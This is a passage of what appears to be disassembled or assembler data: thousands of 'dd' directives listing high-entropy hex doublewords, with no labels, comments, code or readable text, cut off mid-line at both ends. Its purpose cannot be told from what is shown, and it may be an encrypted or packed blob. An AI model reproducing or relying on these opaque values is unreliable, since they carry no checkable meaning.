399CFAF0h, 3C028E2Dh, 0D829147Bh, 5B078705h, 304C2260h dd 2D1ACA1Eh, 1D7E2507h, 0EA70E658h, 11FE9539h, 0BD0B0678h dd 7BE18AAEh, 7BFDEECFh, 6259BCF0h, 33EBF710h, 8BF19876h dd 5EB857E6h, 9820D93h, 2AF48FF2h, 74AD85B1h, 0D8750872h dd 4E7AF789h, 0EB8800F0h, 85B905B0h, 721FC81Fh, 0A8F0E1C1h dd 513070D3h, 0CEF00979h, 63243054h, 3517511Eh, 21380375h dd 61BB5A1Eh, 49BCF3E2h, 0B564E4B8h, 783295Ch, 16C63169h dd 6BE2403Bh, 9798241Ah, 0E91D3E96h, 0B4A06D35h, 124C0B93h dd 76957690h, 39D3A446h, 5936749Eh, 0E705122Dh, 82C4F4F8h dd 0D5172C5Fh, 0B73E99AEh, 3B932610h, 7F0C8661h, 13DA0698h dd 768311E9h, 0EC880F0Ch, 0BF5BB06h, 18604524h, 0B3933DD0h dd 548A7D09h, 0CEF1A7E9h, 0A062FD6Bh, 241FFBD5h, 8BF52F01h dd 0BD7D94B4h, 0E9052D7Bh, 5BA622CEh, 30275D7Ah, 0AF5A6616h dd 0EB80D703h, 95062D1Ah, 0F208C45Eh, 0BFD82D39h, 3D2DC631h dd 2224214h, 820F5694h, 1C361578h, 5E35280Ch, 0BA7A85EDh dd 0E917E4CFh, 0FE4DC523h, 420CBF98h, 49B802AEh, 0D722EA21h dd 91553B0Bh, 0D97A5FDCh, 14E63A12h, 0CD98E909h, 920FF359h dd 55497Dh, 67784A0Ch, 7C29275Bh, 95D04CD5h, 0F7905970h dd 760862B1h, 13591C4Ah, 0CC86D1F3h, 0CC892A34h, 60DD8920h dd 0DC35F825h, 54785066h, 0C63A7100h, 605F0D2Eh, 2D730136h dd 7FF67A5Eh, 6FB77B01h, 0F9F0661Ah, 68649900h, 0F9A112FEh dd 290D8160h, 4BA8E9F7h, 2858E151h, 0E5C39171h, 505131EEh dd 0FB310188h, 1235C1FDh, 0FA228B01h, 0D96ED7Ch, 3CEEF2F3h dd 4765E14Ch, 28522C24h, 2B3DCBAh, 0FFBB80Bh, 24DC7F1Ah dd 1F40D01h, 0FC7E7663h, 0C8A91651h, 0AB359820h, 0BECE4BB7h dd 9E0EE188h, 0CD5A2FA3h, 20BF1AF2h, 5E34C2CEh, 25076A4h dd 57122ACAh, 2957E90Bh, 0E91B8E64h, 0AC895CB4h, 42ED1CD0h dd 5A069C5Ch, 2992B1F1h, 0D22734A2h, 8D912C46h, 0E3052116h dd 22BE3035h, 47E75194h, 2164B509h, 0CD7B86F2h, 0BBFBB507h dd 0A4188539h, 0E9E80C21h, 5C34E464h, 0F9A9664Ah, 250F5C9Eh dd 967096D7h, 41F2175Ah, 260ABE99h, 0FD2930CBh, 0C2E54758h dd 5DBA3788h, 4C88C947h, 40501CC5h, 3D2C62B0h, 2DFAC388h dd 0E5F8374Bh, 0D3CACEC3h, 5C9DD39Fh, 41113451h, 2A422796h dd 16EF01C5h, 3798FFF6h, 95C2BAEEh, 2D80BB88h, 8A49BCF7h dd 867155D2h, 208275A7h, 54F6A875h, 0EA684663h, 37B54106h dd 89F9F7EFh, 97DBE58Ch, 97750842h, 646BB80h, 483140F8h dd 0A2D24D3h, 0ACEDA5A8h, 0AABC2A8Bh, 445AFD52h, 43BC09FCh dd 0D9C68485h, 0AF76FB23h, 0DECBAD64h, 45116803h, 454A3878h dd 86060116h, 0B6D5F3DEh, 0F71C09F8h, 325BE00h, 1200617Dh dd 1E1BFA0Dh, 0AE0C101h, 1CA2E905h, 78ED87B7h, 0B2650723h dd 467DC6E6h, 9AA97980h, 4A3C795Ah, 0BB34AA54h, 991F48FBh dd 0C9FCCF93h, 601FBE4Eh, 346EC92h, 7D76EEC1h, 9BDC9F40h dd 7A5D5371h, 5CEB5820h, 24C524Ch, 1D28FD07h, 20FDFB1Ch dd 190B86EBh, 4DD2BF0Fh, 495E0882h, 411E2D88h, 415F77A1h dd 223E4F5h, 8BC05D80h, 10CEC415h, 5BB9EFEh, 58E128E7h dd 695FC7BFh, 290A6154h, 0BD1387EAh, 0EBFF57FBh, 0E9122D8Bh dd 434EE063h, 205292ECh, 0C4517F5h, 26BB8AEFh, 5F9E96EBh dd 0F3BE15D3h, 90E41212h, 4046E7EFh, 5E4C748Dh, 2CE4C23h dd 3CED71B9h, 10D0FD29h, 3A081C01h, 0E7B6E91Dh, 680B7A23h dd 0AB060E1h, 5F252983h, 90E4D579h, 0A90B6898h, 0DF2FC10Ch dd 0E65C2398h, 0F86D6E27h, 17DCB500h, 0DC35F142h, 6CFFC9DEh dd 0CE5B4EB3h, 599D1043h, 0FCCB057Fh, 46C8414h, 13A69197h dd 2B6F2CEFh, 0A788324Ch, 82F8ADB4h, 8DD1EE4Ah, 55DD3D96h dd 824CDC20h, 1211C077h, 0EEC85931h, 0EE142497h, 5F25A1A9h dd 68EBBC59h, 28B892h, 0F7607657h, 0EE5E05D0h, 0D8C81027h dd 0A7F1B7C8h, 0F16FE905h, 545AF309h, 0A390B82h, 5E83C22h dd 0CF422374h, 9429C62Ah, 9A8B2013h, 20CB98BCh, 8013B917h dd 0F4AF19F3h, 0F094B08h, 0A3CA5481h, 4A0EE527h, 0C49F940Bh dd 0B99517B4h, 950BA472h, 29A6C09Dh, 0AE2D4EC8h, 1CB82F15h dd 0EFFC1D47h, 0CB560F0Ch, 7E27D21h, 20C080Dh, 0E5555814h dd 0B3FB8834h, 0A2ACFF2Dh, 0E54D5D78h, 13C538ADh, 2F094BBAh dd 55074A1Eh, 5501C356h, 0B8228BBDh, 8573FA96h, 0B529EA4Fh dd 0DB7A2C7Ah, 2C583340h, 0C0875368h, 650A23BEh, 0DFEC085Eh dd 3CFD6873h, 8DE9090Bh, 0DE9428D8h, 7B2F2FBEh, 1E870991h dd 6F17DE30h, 0DE3E6FDAh, 52462D10h, 0DBC3D880h, 893DE597h dd 537D8E59h, 0EDD21629h dd 0E3DC1A0Ch, 7E90DD4Fh, 0B225850Fh, 4EB6D76Fh, 0C1B7BEBh dd 1D9DA08h, 0C260F068h, 6C23F9FFh, 0C82FE936h, 275746D4h dd 871C016Ch, 4745A3B0h, 0FD56EB02h, 0BE15BA73h, 285B7FA4h dd 5C05AADh, 2D77484Dh, 5BD8012Eh, 1040BE59h, 0BF5EF029h dd 0BB4127F8h, 362BF92Bh, 5F25AFD0h, 8E4BEF05h, 9FE6D8DBh dd 5B69E271h, 0E7570A28h, 0FBB816B2h, 8C580A33h, 0F7C05DECh dd 0AC32E9F1h, 57B7E9BFh, 0AB5B122Bh, 2927A9E7h, 685E54E0h dd 593CBC2Dh, 0E9D58231h, 515626CCh, 0DDD217C2h, 61C2DF93h dd 0B40E1AFEh, 3E30B5Eh, 87F3C352h, 0C3C85135h, 759DB831h dd 0FE4EC438h, 902981C0h, 0A20C01A8h, 4FE28AE0h, 0C41EECA5h dd 0AA25512Bh, 90D8D7A7h, 4A9A5E59h, 0D42E7B24h, 6A2FC041h dd 0BB1AE06Ah, 1DFA2B16h, 0CAF183AEh, 0D90B2241h, 591742EAh dd 2549BA7Dh, 16EEB281h, 6C9AAB0Dh, 0EB034E48h, 10362941h dd 48148DE0h, 0B207E9Ah, 0ECD69F07h, 59A6B461h, 5171BA3Bh dd 46C6EE9h, 5117543Bh, 78C16153h, 708A260Fh, 0CE615941h dd 0D310F939h, 0E6881C0Ah, 5807F19Fh, 6D2CF20h, 837ED613h dd 0BA4EAB4Ch, 0C21C82D9h, 55D35Dh, 6819B8F6h, 77258939h dd 43ECF120h, 0FE05FF7h, 0A54FCD8Eh, 0A1A133EDh, 68108B17h dd 3A647DD1h, 0CCB55103h, 985FED80h, 160FBEE5h, 570BEC86h dd 1492EF2Eh, 0C8E47F5Ah, 9A4F2505h, 63EE310Dh, 0E89CE937h dd 0DA2D25ACh, 0E27E9FDAh, 6E3FBDA0h, 0AA8226B0h, 8437742Fh dd 0D20211E9h, 3EE4BA06h, 33FAD3E8h, 0DD98A2BAh, 76080B97h dd 0A500526Eh, 74DC6854h, 27960CC2h, 0A292F7DBh, 5CE90801h dd 78AA2B7Fh, 0D725E9BBh, 1F36C522h, 29149C3h, 64EF09F6h dd 8CEE6A99h, 0F82F6803h, 2DE3EC0Ah, 164283E9h, 0C2CD79DFh dd 0B45035E9h, 0CE9DD3A1h, 0BCB06A0Fh, 0C58BAC9Dh, 9F12D6A2h dd 0BD0F44E1h, 7784836Ch, 61231189h, 59B46AD7h, 0A4904BE5h dd 0DDE6922h, 0CBE720CBh, 5AADAFBh, 767AA5Bh, 56B313D2h dd 0B6C3C2B1h, 81E95F06h, 64342BCEh, 30B80D50h, 3824279h dd 2B49295h, 5E7C880Fh, 0A2752F43h, 48C98A84h, 4F78Fh dd 7087BA01h, 7EE97642h, 1C9091B2h, 0CCD8620Eh, 0E14F3001h dd 0A6CDCD06h, 1682CCE2h, 5E34A479h, 402F8901h, 6812094Eh dd 29FF4465h, 0EEDF11FAh, 200905D0h, 81757138h, 86506688h dd 0F601DC5Ch, 2E4F4890h, 956431AFh, 0D43D3E39h, 581E938Bh dd 4060B25Ch, 88073B4Ch, 510ECF81h, 0DE6F3808h, 6E189440h dd 2AE95337h, 2D9C0D98h, 41C305E0h, 483290A0h, 0FB2D2402h dd 70B1331Eh, 9702B52Ch, 7629A33Eh, 539416F0h, 63E2EA43h dd 71436882h, 0A8894379h, 2F96F51Dh, 102D7C92h, 0E2E7715Ah dd 0CA4C535Dh, 147D4B7h, 18A52A89h, 71EA05Bh, 27265A9Dh dd 3355C994h, 3554D93Fh, 0BFF0522Bh, 3A4892A1h, 2F3141F7h dd 3A2B9181h, 6A826057h, 0F12EC67h, 1AE036BAh, 0D8720CA5h dd 1841CFCAh, 5C7D8341h, 1D280D00h, 357B6503h, 85804095h dd 0C580F694h, 49A12BBEh, 0E9164603h, 52C5C70Ch, 5269DF19h dd 1E0B7F78h, 0BFFE4601h, 0D97EB8E2h, 0E655F425h, 9EE7D11Dh dd 0D14C5768h, 60ED4FE8h, 5B660ADEh, 1E48B151h, 0F74A100Bh dd 56CABE05h, 5CEE876h, 0A489A937h, 3BBDE5FFh, 4D12E28Bh dd 23F3EE46h, 0D3DCF84Ah, 0D30B2DBCh, 0A8829602h, 0ED5D3ECFh dd 1759ADF4h, 0E0D41064h, 8BD693AAh, 93AAC555h, 0AF2DA8C0h dd 1F03BBF0h, 43F63Dh, 36679DE3h, 83120F27h, 0ECB2E054h dd 0AC734325h, 80005693h, 2B50F99Dh, 0D5C926E9h, 0AD899792h dd 21DE98E2h, 4049016Ah, 65410805h, 4A2B6C67h, 3607ABACh dd 0F06B064Fh, 7C8B0C2Ah, 3BCC8951h, 97FB8DC4h, 24E56E5Eh dd 9F56C7D7h, 1A22E9C2h, 0E55A9599h, 0BAD36ABEh, 0B266B9E0h dd 8620C83Eh, 0B4F59F2Dh, 24CDE461h, 311A0ABDh, 0A706EDDEh dd 29EE030Dh, 0F842E9C6h, 0CBB9AD40h, 546E2C19h, 0CCE01F0Ah dd 0A30C12E3h, 3C4A5816h, 2D54DE13h, 1B7D105Ch, 298C0F05h dd 0D7B3EF15h, 6357B88Bh, 0E9C2D416h, 0B69CF06Dh, 48600913h dd 2ECFEE44h, 3689A7B2h, 251061E3h, 4CE8091Ch, 84E0E01Ah dd 3F5D1BFCh, 4E833944h, 0E9C2DCA2h, 208E36A5h, 0EFE1FCE4h dd 0ADA4BD44h, 595D5709h, 0B67C52B3h, 87C15464h, 0E87AA63Ah dd 94AC9978h, 80D90307h, 7C4244C2h, 54305F56h, 169931B0h dd 8D8293Ah, 784AEFEDh, 9409F98Bh, 0D1F730DCh, 762B3EA2h dd 81E90C1Fh, 98832ACh, 45953A51h, 558A8070h, 0FD89426Bh dd 8B0C540Bh, 6857A313h, 13091624h, 0BA016B53h, 0C06048Dh dd 0BD1C8428h, 77D22A96h, 0EEE4C20Dh, 437CAF3Ah, 0C7AA6256h dd 0B27E4E9Bh, 9753DA60h, 0E7D12C36h, 73EF406Ch, 29E62B3Ah dd 2C8BFE5Ah, 0A91E9E12h, 682D76Bh, 32E25725h, 7EBB3BC1h dd 0F23EA72Dh, 0A28E4E29h, 0F051994Ah, 0C19E8758h, 804EE392h dd 12404E82h, 0B24B6EAh, 640A16E9h, 3AD36B81h, 925F04DDh dd 0F825C214h, 4D4083CAh, 57CF7475h, 8031E885h, 446A95EEh dd 0F505898Ch, 52E6805Eh, 0E4178E03h, 72C88747h, 17C0D2D5h dd 0FB7A0EE9h, 1AB28977h, 960CD661h, 5B8EAC34h, 80E864BFh dd 0DB6CA0A5h, 48AB3850h, 657C4A78h, 614BCA00h, 0D3E92623h dd 1E6AC3Ch, 3F7F625Ch, 705F5B57h, 0D3C63C3h, 41EE4AE7h dd 2228F1AAh, 8C12204Ah, 4CE63D12h, 0AF8A04EFh, 555D0914h dd 0A4030591h, 0DA16E00Dh, 6FFCBBAh, 0AE76D6BFh, 6EF0D2Ch dd 0CF28C783h, 74E282C2h, 0B189975Ch, 34D3572Bh, 0F102D889h dd 0FB313C78h, 709A68D7h, 99463E6h, 7E9C160h, 1E32E681h dd 3BB2F864h, 2DEE00CAh, 5E5041C6h, 0FE8A0F3Ah, 0BFE65F82h dd 0FEDDC820h, 0F5DB0ECh, 495D726Dh, 0BF9635AFh, 0DAFC773Dh dd 9FFE7FFAh, 8739E471h, 681BDC02h, 30BB30C4h, 0EF4BCDAFh dd 0BEDC2D50h, 78452713h, 68485480h, 0AD284F58h, 290F81ABh dd 1061093Eh, 137892Bh, 2AA7C298h, 1039DF31h, 32D62D00h dd 24671435h, 0BEB04E4h, 5EAF2219h, 0C79B33FDh, 60B90148h dd 0E8180B3Bh, 14C77C6Ah, 0E520D104h, 6A48B252h, 98AA628h dd 0B7B19523h, 75843BD2h, 0ECB9E230h, 0FBD15CB3h, 7280BD27h dd 0F1FA1B8h, 0C8FA274Ah, 749B7495h, 5E4B1120h, 0FC1362AFh dd 5B52DE6Ah, 0C791B15Ah, 312BDA46h, 0AF2906BDh, 0C2C75F5h dd 9F39630Ch, 6F95AA1h, 50DAEA01h, 6F012607h, 8045484h dd 8BBF1C8Bh, 28A94BDEh, 0D181CD2Dh, 28509568h, 29BCC04Ch dd 20E9220Fh, 739F2FE3h, 8AE9C29Dh, 88ED36Ah, 6C5918A2h dd 54D86043h, 9FEA776Fh, 24683340h, 0C00F0562h, 0FC4ED079h dd 20EA2920h, 0D0BD4C27h, 0FA56D776h, 8A3E768Dh, 0F0E93B86h dd 7CE8CDC6h, 4F872E95h, 0E03580B5h, 2911A27Bh, 5B45C75Ah dd 31ABB453h, 89665661h, 7944713Bh, 0EFF38B58h, 82F1B921h dd 0D82FFD40h, 739860C9h, 0F7220498h, 0AFC14B52h, 0CF874681h dd 50EFCB70h, 7208DD05h, 0EE50C5B5h, 0A57CB874h, 0EB7275FBh dd 2AE92328h, 274D858Dh, 7565F788h, 5E7C000h, 3A51C7FEh dd 0C5962FB5h, 0F107AF66h, 1BC780E5h, 88D2F730h, 205B2FFAh dd 50025C7Ah, 0A7E982B0h, 504479CEh, 0FE48F5F6h, 0E8139EA0h dd 0FF05F44Bh, 0D85BD5E1h, 3E133847h, 0FB0171h, 73215F80h dd 0F538E90Dh, 3CBA5F0Fh, 0EAB05362h, 0C975741h, 1F05244Ch dd 31F727ACh, 0BBEB5F87h dd 0FD0A4814h, 941AC700h, 0D78CE97Fh, 18C147B2h, 76403C16h dd 0CEDA820h, 226C4BB1h, 0F031620Ch, 1D276CD3h, 7E088E3Ah dd 0DAB00A27h, 0A901004Ch, 0A6782D15h, 899D9807h, 0E4B8024h dd 0BC3F2712h, 0D5053ED4h, 0A8437DE9h, 6B1C17Bh, 0E4DEC180h dd 0D33DF9F0h, 0BB6DEF5Bh, 6879886Bh, 157B7431h, 75EAB789h dd 50786A5Ch, 9B932FE9h, 0C02978CAh, 2F2EF97Dh, 66E1835Ch dd 68CCF9F7h, 0AE105FD0h, 0D7EC5560h, 0A56E9DFEh, 8009B505h dd 20BCB6C5h, 490D5017h, 0E876DF00h, 0F4F023Ah, 5C62AD81h dd 0AF8642E3h, 69AADAAh, 90E18008h, 69B8E933h, 0AA05B756h dd 0AC7A7ECDh, 0E7D0C637h, 98C30491h, 84293805h, 0FAB6D4CEh dd 39AD8FD1h, 2F159D2Bh, 9F7767FDh, 2F3E8E65h, 5B7A07A9h dd 7DF55862h, 2944A0F1h, 1B6DC8AAh, 23F37BE1h, 0BE38AB85h dd 0D484EFF3h, 5A3EE701h, 0B7BFB4D4h, 0CD8115E9h, 7FC99A25h dd 0B95158D1h, 2506EB26h, 4C386828h, 4959D109h, 0FDCFD837h dd 0EDE90840h, 3813BD3Fh, 0C67E1C0Eh, 9D8497F9h, 35E9C9E4h dd 0FF9CF854h, 86909DB6h, 0FF80F427h, 333D2BA2h, 8F100C90h dd 0FC5A733Bh, 0D7898734h, 0DCCC73h, 50BF5418h, 3124E166h dd 0D0B51290h, 38CD0C7Ch, 0ED0C6EA7h, 1E4FF5B0h, 0E9D860AFh dd 12954A37h, 468BC1C6h, 8E0F4200h, 94E5A137h, 4A781ECFh dd 0BB5FDCFEh, 0D506D103h, 0F2E94349h, 0B8D35FE1h, 2C145727h dd 75C41AB7h, 68734C76h, 2E20725h, 2C4D215Dh, 0BD2970C2h dd 5F6FF2F5h, 0B02EAC55h, 4F5D097Fh, 7E60EB4Ah, 5A70E6F8h dd 0E9EFA03Dh, 52DBB027h, 549EC05Fh, 295D0839h, 1BA9295h dd 0ECD9E90Ah, 11D52EA5h, 4E2C4449h, 0D68A0F1Fh, 0A014A8D2h dd 1B36AB7h, 7AE7819Dh, 3048F823h, 0A7B1E841h, 6A74C501h dd 0B86F6CCDh, 3F084142h, 0BFA1B826h, 782D5AD4h, 1A7A0022h dd 5BB537Fh, 0C1B0BD52h, 4B366E20h, 0B9BC30ADh, 0D002086Bh dd 18E95575h, 8CEA5462h, 810D1646h, 4302AD92h, 575E1DBAh dd 570789BFh, 6F6DB061h, 47AC84C4h, 72BF2B7h, 0A52FEDFDh dd 0B0F26E7Dh, 0D380B7F0h, 1E6D87B9h, 50893327h, 6F8B97A0h dd 0BD0863FEh, 0FE22029h, 15054CDCh, 73E45A40h, 7834E918h dd 81BB2049h, 0F857F8F5h, 0F50F8117h, 0EB6B5615h, 7BB6D829h dd 0EAEDE4C3h, 335E4B31h, 0BAB568C4h, 19E56091h, 8E38EC2Ah dd 33A99681h, 4EF2A885h, 4163EFDFh, 0EC050C75h, 47F71E96h dd 6BEDD101h, 98710373h, 4E7CAEE8h, 0E205FBE1h, 95C85B91h dd 0C2141FF6h, 3FD19E2Ch, 64D50851h, 0B2D8F27Eh, 27CE465Ch dd 516148E9h, 8AE93028h, 335BC9B5h, 2AF78D7Bh, 27C628EBh dd 5A8C8795h, 7FD05569h, 0C725F89Ch, 0F95D1743h, 59CD8084h dd 0B77D0268h, 0E92D6796h, 7DBAC2EAh, 84C9C55Bh, 0EFED6775h dd 0B8EAC1C4h, 9E69299Ch, 97225F27h, 89DF4AE9h, 0D1835E0Bh dd 0CD493166h, 0EEE1605Bh, 0A298E92Dh, 5C83B1E3h, 53F896FFh dd 0AE05134Eh, 2E095335h, 2E098A7Ch, 2912ED01h, 0C814FAEh dd 0C7A5FB68h, 0D2A42455h, 28A90617h, 70366A1h, 0B12C405Dh dd 0F7134993h, 0B708C528h, 6168A0A2h, 0E402257h, 0EBF37716h dd 58566805h, 2D6DDFBh, 7D0B4BFDh, 2010E710h, 0C20B49CBh dd 5595F79Fh, 0CA0FDCACh, 897C8245h, 969BD1F7h, 138AB631h dd 8DCAF821h, 0E25EEE4Fh, 572515DCh, 0E984BE65h, 0A2EB2922h dd 2AB8DF4Bh, 4190C353h, 18231A3Dh, 0F6B73E70h, 65F51252h dd 0E32D870Dh, 305BEF9Ch, 281621BCh, 1EAA40DBh, 2D58D250h dd 0E760F70Ch, 0A3057C2Ah, 0E9BF0A07h, 0EB460FCDh, 3F6160DDh dd 1BDD9785h, 0F3BBDAh, 9763EE31h, 0F189CBBDh, 0E2A58CC4h dd 4504AB17h, 0A6F2D5F7h, 0B77307C1h, 0D0B42A64h, 0FB0300C5h dd 3E05A10Fh, 330A325Dh, 72DE801h, 0E123E90Bh, 94C6532Ch dd 4117FEE6h, 433E2044h, 277C2F26h, 0F0C96112h, 470AEE00h dd 73735C8Fh, 70B8F805h, 0D1F4148Ch, 88FFF113h, 6B9756BFh dd 4F656DCh, 324E680Ah, 9E6CC1EDh, 0EAD5C235h, 74F2FDF7h dd 0DA73DCBDh, 40A40074h, 5D1E2D1Ah, 0FF6FAE72h, 9D18D603h dd 7F2D590Ah, 274B2DE4h, 6B5307C1h, 6B89DCA9h, 0DBA86559h dd 0BB702C0Fh, 31A7C41Ch, 892F2EA7h, 67095FDAh, 894FD412h dd 4285766Ch, 80093ECEh, 0E77D3589h, 0E7B00Eh, 28872078h dd 55868B0Fh, 1235ABC6h, 7A526056h, 2A0B2687h, 18FBBA05h dd 0D3B0137Ah, 60D74151h, 9D622E2Ch, 0A084D23Dh, 2959C8C0h dd 5BEFFEC1h, 0F62DBFBAh, 0A6021E93h, 695712D8h, 0B3AA65AEh dd 0C6E90CC1h, 0AB820F6h, 63ED1D0Ch, 0EBA6BFA3h, 0CA0B20C6h dd 0A5F1E098h, 59F4E500h, 120460Eh, 93FA50F2h, 8F1A125Bh dd 9CBA042Fh, 2A56CA8Bh, 32CCA33h, 8548E1EDh, 60F7409h dd 0C1765E8h, 8836B151h, 0E026D0F8h, 9A339834h, 0E9A79980h dd 0A17C70FAh, 0D02EFAB8h, 661BEF0Ch, 1621309h, 83208F7h dd 8F597E25h, 0B07521E9h, 44D1171Ah, 6342BD42h, 8530975Fh dd 0BEE5ACE9h, 0E1695A89h, 5BD88B9Eh, 0CA4A8F75h, 0E9C180FDh dd 0C94C9FB0h, 50DA3201h, 0CBAB38FAh, 8D1B080Bh, 7A0A3CE9h dd 3F082447h, 898B110Eh, 0B1841043h, 31DA6BF3h, 0DE4085Fh dd 46927725h, 11643FC1h, 856090EBh, 9DA4F6D4h, 5455D0C2h dd 5126F0CDh, 7792797h, 2D2B3783h, 1A7DDF65h, 0EAFC5721h dd 0A2323159h, 56D04F13h, 60DABA30h, 0E682C55Eh, 0F7F04A75h dd 0FFD72133h, 9B158A80h, 1CE58161h, 687425ADh, 4F080B9Eh dd 0BF007D48h, 0E1F19B8Bh, 0DDBFC895h, 0E8213B5Bh, 8A8D444Eh dd 778D1C1Ah, 0C609728h, 0D4424130h, 36B2A1EEh, 7281535Ah dd 0E2073C26h, 0D3554BAFh, 704CBE13h, 9D5DB35Fh, 6FA2EA80h dd 270F3DCDh, 0A950E883h, 5A18DCBDh, 4AB5165Dh, 0CD9D8151h dd 35F62F9Dh, 0E94B104Ch, 87E90B6Ch, 98AC94B5h, 0BADE5B2Ah dd 0AB3B567h, 2D1776B8h, 905F59D9h, 4BF85029h, 17F752FEh dd 4A22F8ABh, 0BBAC33BAh, 599F4D70h, 0F9789546h, 53768725h dd 0AD9AF70Eh, 9D147293h, 6268F501h, 5DED5469h, 0A7FA1F6Fh dd 19012254h, 0DA29B01Eh, 9E10B427h, 0C7300086h, 0B0505866h dd 90FAFA67h, 855B4AA5h, 0A5D9BF0Ah, 0E920C1F1h, 0BC029F5Ah dd 0FDD4628Eh, 0FD1AC624h, 9E54570Ah, 31315825h, 0D56EE7C0h dd 3E413258h, 4DDF9E9Eh, 3CB140D2h, 9CE34E43h, 6EC78DEBh dd 68D0AAE1h, 0A874B772h, 0CE49DAA0h, 0E7E226E4h, 8D90F209h dd 0FC38E46Fh, 90E16E17h, 0E548872Bh, 0B6211A30h, 0F01762Dh dd 6805201Fh, 847FF147h, 0B22CBBC1h, 8FE91252h, 416CBE05h dd 94DAB55Ch, 0E87851BFh, 0D3750CC9h, 0F8012D90h, 11B473Fh dd 74205D8h, 97B6D05Bh, 3069567Bh, 4A4BBF13h, 10BAB862h dd 68171B34h, 99FC58Ah, 0E5D42137h, 0F30E919Ch, 0A6D90F5Ah dd 271A1116h, 7F8295Fh, 3C2B7697h, 4E204CCCh, 2C4AB802h dd 0D7316DD6h, 7B587049h, 58F391D2h, 9552B0E5h, 68185636h dd 829362C3h, 80EA99F6h, 0CD027605h, 9F0E2D52h, 744E3429h dd 6074189h, 0F49D23D4h, 74E9D866h, 2D01FEB4h, 0E67B9BB1h dd 3F2AE9h, 6FF0BE0Bh, 817C0C56h, 8547F40Bh, 1EE07572h dd 113F0493h, 4EF6003Fh, 0E91071CAh, 5FEA4052h, 44BEF197h dd 28AD9147h, 2A6E21CFh, 8EFD0BBEh, 2035524Eh, 0B6A088E7h dd 0BF602BFh, 0D268622Bh, 71E71F5h, 945A01BAh, 3826C012h dd 3D5BD44Ch, 0B91080A9h dd 0C8FE1639h, 5E90E809h, 407975Eh, 0ACF1E6A2h, 3634A11Ah dd 242A680Ch, 0E92E3978h, 93BAB839h, 63A3CD28h, 881FB306h dd 0A5277CDCh, 0CB801BD1h, 152F5011h, 0BF24B2BFh, 0BF5457F6h dd 18B002E5h, 2425F068h, 8FF0677h, 0BA26F4B4h, 4E79662h dd 1038EB5Ch, 0FA802CE9h, 6BBA6B67h, 0E65C4842h, 0AC499CB3h dd 0EB1CB8E8h, 14FF2529h, 405A98FBh, 86120F6Ah, 6CFEB4BCh dd 9A7F5E44h, 0EA315D9Fh, 0AC452EFEh, 9909CC78h, 9004648Ah dd 206D17B3h, 0EED507C6h, 45C53071h, 0A59AD7E9h, 2EE83024h dd 39406807h, 7A4E7749h, 0D265E909h, 5A7AFEFEh, 2EFBA48h dd 2631CDB0h, 0F3D63339h, 0F921322Bh, 0A377744Ah, 0EAAAEBCAh dd 0BF8155C7h, 29C679E9h, 6856C1FCh, 3B3828BFh, 0E5F55589h dd 9252432h, 0F1DFFEE5h, 91F3976Fh, 0E006EAD3h, 59B50720h dd 0A85CC5A1h, 90DDB1F6h, 5AD4CB7Ah, 0CBC16E90h, 0B1569FFEh dd 257B6472h, 9AAC3A05h, 685B5718h, 8E614BEFh, 85573AABh dd 16FEA1B7h, 0B3F9CCC3h, 87A89D4Bh, 28232C0Eh, 66277ABFh dd 5399E489h, 5CBF28EBh, 33EFA78Fh, 7959BDC2h, 1FDE49E7h dd 72196861h, 0A83BB74Dh, 77E3C975h, 47C09A1Bh, 1260A274h dd 0F2E955F1h, 0E2B0B730h, 1AA4722Ch, 4E47644Dh, 0E9B0BFBCh dd 0DB99F5A1h, 21F18087h, 845A893Fh, 6680ED16h, 0AD3495h dd 492CD8F6h, 1CE9C330h, 0BF1C4197h, 0B479A93Bh, 0B0D3D0A8h dd 0CF41F0ACh, 3569FAA7h, 6AEC7E0Ch, 65DBE9B1h, 344C4745h dd 3873D80Fh, 5D2506BEh, 0FB3F8065h, 55FB0BB5h, 0F8FC0948h dd 59CC13DFh, 9EA3DACh, 48CF1EB6h, 8039D077h, 9D86E908h dd 0E5C06101h, 3068E07h, 9D6C980h, 0E83B02E9h, 41D0EA3Ch dd 49112F1Bh, 9A447E32h, 0F7BA6F03h, 0F18101FDh, 7EC40FF6h dd 579806Ch, 826B34C7h, 3C13EF25h, 80E549A8h, 674FB879h dd 0CA060B7Ch, 262F7ABCh, 4C9D090Ch, 67806FDAh, 6763E36Ch dd 5C77E927h, 305D2D07h, 0BAFC6B0Bh, 0EAEA5BECh, 628B2341h dd 816B4AD8h, 4BE1570h, 8561F8AFh, 1C8D6A8Ch, 918DC5E0h dd 75C0AF22h, 472F7FDAh, 7066742Ch, 21552FE9h, 87BC7EE6h dd 0F7470804h, 0BDCE8DFh, 343923h, 0B42418EAh, 930CC14Ch dd 0F05AA035h, 5603AEEEh, 72E9590Ah, 0E38057CFh, 0FD4F7Ch dd 81E6D190h, 34165ECEh, 0A60C4FFEh, 0B6B0E2A6h, 0CBE23A36h dd 5B052FDAh, 0CA24E3B6h, 1040275Ch, 0FDE4D788h, 3E5A5B3Bh dd 0CACEBBEEh, 4A4076DDh, 16F255CFh, 53ADE94Ah, 0D770F3E3h dd 0F932AEBh, 65FC3BEFh, 76A857C8h, 95609050h, 718934DEh dd 0E31BFF30h, 81ECA7C9h, 4ADCCD99h, 0E5D80AA5h, 0D0151F2Bh dd 1F5016Bh, 0D14BD976h, 31097AE9h, 0D5307E7h, 72E62B8Fh dd 62F40968h, 4AD54335h, 0E9B6222Ah, 9A54557Ch, 786AD4AFh dd 0BA9C10E9h, 5381B101h, 0ABD55152h, 9515F6F0h, 7A5E9B68h dd 0C361337h, 3FDA6040h, 72D030E9h, 0DA46822h, 0A818B230h dd 724E11CDh, 4B09B564h, 717D2A29h, 0EE895061h, 4EC512DCh dd 2EA2A7Ch, 35EFE961h, 2CF7C6FDh, 90A7C88Bh, 66071734h dd 9BC762FBh, 8D55A40Fh, 431F21EEh, 0EED383A5h, 803FA253h dd 574BA2Dh, 0F0010DECh, 21071605h, 7DD8FE64h, 0A0E02733h dd 699CE739h, 0B1576FDh, 0F571ACF7h, 0C00C14D0h, 180F6D12h dd 466025Fh, 27CDE921h, 240E3E44h, 0C057A303h, 355E2FE3h dd 39CBF814h, 61826B7Eh, 3373E94Bh, 5251A1DFh, 0D3E9EA88h dd 305A032Bh, 0F3D059EEh, 0EB38805Ah, 66E30778h, 126DB652h dd 0E9FCED31h, 0E2429FBBh, 3FFF655Dh, 5B40CA2Dh, 98BA2CD2h dd 2B56CE4Ah, 77A7101h, 0C2F30131h, 0A9088FC1h, 5D37E1ABh dd 0D7FCA62Eh, 2954AF01h, 0BC2B3621h, 91FC346Dh, 310481FAh dd 51270A4Eh, 188E027Dh, 5EE2A313h, 360B1081h, 71BE0706h dd 